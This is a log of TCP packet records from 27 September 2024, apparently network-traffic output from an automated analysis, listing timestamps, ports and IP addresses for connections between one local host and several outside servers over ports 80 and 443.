Sep 27, 2024 05:50:38.073426962 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:38.073496103 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:38.073563099 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.073591948 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.073642015 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.073657036 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.073678017 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.073690891 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.073765993 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.077821016 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:38.077843904 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:38.077872992 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:38.077918053 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:38.077931881 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:38.078016043 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:38.078016043 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:38.079176903 CEST	49732	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:38.079190016 CEST	443	49732	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:38.079932928 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:38.080058098 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:38.081648111 CEST	80	49730	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:38.081984997 CEST	49730	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:38.084187984 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:38.084235907 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:38.084291935 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:38.084929943 CEST	49735	443	192.168.2.5	183.240.98.228
Sep 27, 2024 05:50:38.084942102 CEST	443	49735	183.240.98.228	192.168.2.5
Sep 27, 2024 05:50:38.094057083 CEST	49733	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.094069958 CEST	443	49733	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.104224920 CEST	49736	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:38.109340906 CEST	80	49736	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:38.109432936 CEST	49736	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:38.109630108 CEST	49736	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:38.114636898 CEST	80	49736	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:38.126244068 CEST	49737	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.126271009 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.126322985 CEST	49737	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.126996040 CEST	49737	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.127010107 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.128422976 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.128437042 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.128489971 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.131515026 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.131527901 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.132033110 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.132102013 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.132155895 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.132896900 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.132922888 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.132972956 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.134454012 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.134465933 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.135221958 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.135235071 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.136563063 CEST	49741	80	192.168.2.5	182.118.39.155
Sep 27, 2024 05:50:38.137768030 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.137800932 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.137964010 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.138818979 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.138832092 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.139437914 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.139450073 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.139504910 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.140372992 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.140382051 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.141360998 CEST	80	49741	182.118.39.155	192.168.2.5
Sep 27, 2024 05:50:38.141448975 CEST	49741	80	192.168.2.5	182.118.39.155
Sep 27, 2024 05:50:38.143116951 CEST	49741	80	192.168.2.5	182.118.39.155
Sep 27, 2024 05:50:38.147974014 CEST	80	49741	182.118.39.155	192.168.2.5
Sep 27, 2024 05:50:38.157422066 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:38.162199020 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:38.162281990 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:38.162498951 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:38.167419910 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:38.311920881 CEST	49745	80	192.168.2.5	182.61.201.94
Sep 27, 2024 05:50:38.316737890 CEST	80	49745	182.61.201.94	192.168.2.5
Sep 27, 2024 05:50:38.316859961 CEST	49745	80	192.168.2.5	182.61.201.94
Sep 27, 2024 05:50:38.317126989 CEST	49745	80	192.168.2.5	182.61.201.94
Sep 27, 2024 05:50:38.322840929 CEST	80	49745	182.61.201.94	192.168.2.5
Sep 27, 2024 05:50:38.373006105 CEST	49746	80	192.168.2.5	163.177.17.97
Sep 27, 2024 05:50:38.378122091 CEST	80	49746	163.177.17.97	192.168.2.5
Sep 27, 2024 05:50:38.378218889 CEST	49746	80	192.168.2.5	163.177.17.97
Sep 27, 2024 05:50:38.378709078 CEST	49746	80	192.168.2.5	163.177.17.97
Sep 27, 2024 05:50:38.383560896 CEST	80	49746	163.177.17.97	192.168.2.5
Sep 27, 2024 05:50:38.930555105 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.930879116 CEST	49737	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.930939913 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.931256056 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.931636095 CEST	49737	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.931694031 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.931864977 CEST	49737	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.933592081 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.933784962 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.933803082 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.935246944 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.935313940 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.936145067 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.936296940 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.936310053 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.936368942 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.936415911 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.936619997 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.936644077 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.938045979 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.938103914 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.938848972 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.938939095 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.938994884 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.939548969 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.939858913 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.939865112 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.939889908 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.940093040 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.940110922 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.940418005 CEST	80	49736	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:38.940462112 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.940831900 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.940907001 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.941595078 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.941667080 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.953048944 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.953219891 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.953471899 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.954524040 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.954552889 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.976584911 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.976608992 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.979407072 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.979439020 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.991919041 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:38.991950989 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:38.991996050 CEST	49736	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:38.995426893 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.007843971 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.029525995 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.029773951 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.029793024 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.030440092 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.033365965 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.033443928 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.033808947 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.033940077 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.033948898 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.033989906 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.045692921 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.076908112 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.076929092 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.097198963 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.097389936 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.097450972 CEST	49737	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.098722935 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.098787069 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.098917007 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.099607944 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.099674940 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.099734068 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.102480888 CEST	49737	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.102504015 CEST	443	49737	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.102953911 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.102996111 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.103199959 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.104270935 CEST	49747	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.104281902 CEST	443	49747	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.105509996 CEST	49740	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.105540991 CEST	443	49740	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.109550953 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.109608889 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.109677076 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.109987020 CEST	49748	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.110016108 CEST	443	49748	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.110603094 CEST	49742	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.110616922 CEST	443	49742	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.117330074 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.122916937 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.122946024 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.123274088 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.124294996 CEST	49749	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.124305964 CEST	443	49749	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.156109095 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.156141996 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:39.156193972 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.156666994 CEST	49750	443	192.168.2.5	148.153.240.75
Sep 27, 2024 05:50:39.156677961 CEST	443	49750	148.153.240.75	192.168.2.5
Sep 27, 2024 05:50:39.182883978 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.183331966 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.183367014 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.183448076 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.185564041 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.185645103 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.190223932 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.190299988 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.190320969 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.190337896 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.190363884 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.190378904 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.190398932 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.190402985 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.190426111 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.190431118 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.190443039 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.190484047 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.192240000 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.192306042 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.192356110 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.192380905 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.192451000 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.192486048 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.192516088 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.217632055 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.217690945 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.217720032 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.217751980 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.217782974 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.227320910 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.227343082 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.227425098 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.227437973 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.237677097 CEST	80	49745	182.61.201.94	192.168.2.5
Sep 27, 2024 05:50:39.253981113 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.254005909 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.254043102 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.254053116 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.254098892 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.257319927 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.257694006 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.257709026 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.257760048 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.258424044 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.258441925 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.258486032 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.259233952 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.259251118 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.259263992 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.259300947 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.259322882 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.259764910 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.259778023 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.259826899 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.269480944 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.269711971 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.269735098 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.269784927 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.270272970 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.270298958 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.270339012 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.272207022 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.272231102 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.272238970 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.272252083 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.272258997 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.272280931 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.272294998 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.272305965 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.272331953 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.272356033 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.274135113 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.274194956 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.274333954 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.274452925 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.274511099 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.274843931 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.276918888 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.281070948 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.281086922 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.281152964 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.281176090 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.281337023 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.291400909 CEST	49745	80	192.168.2.5	182.61.201.94
Sep 27, 2024 05:50:39.294861078 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.294882059 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.294944048 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.294953108 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.295320988 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.298182011 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.298202038 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.298249960 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.298257113 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.298296928 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.302334070 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.302354097 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.302395105 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.302402020 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.302440882 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.303240061 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.303263903 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.303297043 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.303314924 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.303332090 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.311717987 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.311733961 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.311817884 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.311837912 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.311903000 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.313597918 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.313621044 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.313671112 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.313683987 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.313716888 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.313750029 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.314486027 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.314519882 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.314536095 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.316103935 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.316119909 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.316196918 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.316211939 CEST	443	49738	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.316278934 CEST	49738	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.355267048 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.355285883 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.355696917 CEST	49751	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:39.373394966 CEST	80	49751	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:39.373461008 CEST	49751	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:39.373851061 CEST	49751	80	192.168.2.5	90.84.161.25
Sep 27, 2024 05:50:39.380268097 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.380281925 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.380306959 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.380343914 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.380362988 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.380377054 CEST	443	49743	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.380414963 CEST	49743	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.381123066 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.381155968 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.381213903 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.381263971 CEST	443	49739	50.3.213.5	192.168.2.5
Sep 27, 2024 05:50:39.381295919 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.381316900 CEST	49739	443	192.168.2.5	50.3.213.5
Sep 27, 2024 05:50:39.381921053 CEST	80	49751	90.84.161.25	192.168.2.5
Sep 27, 2024 05:50:39.384700060 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.384725094 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.384790897 CEST	49744	80	192.168.2.5	149.104.74.82
Sep 27, 2024 05:50:39.385270119 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.385305882 CEST	80	49744	149.104.74.82	192.168.2.5
Sep 27, 2024 05:50:39.385329008 CEST	80	49744	149.104.74.82	192.168.2.5
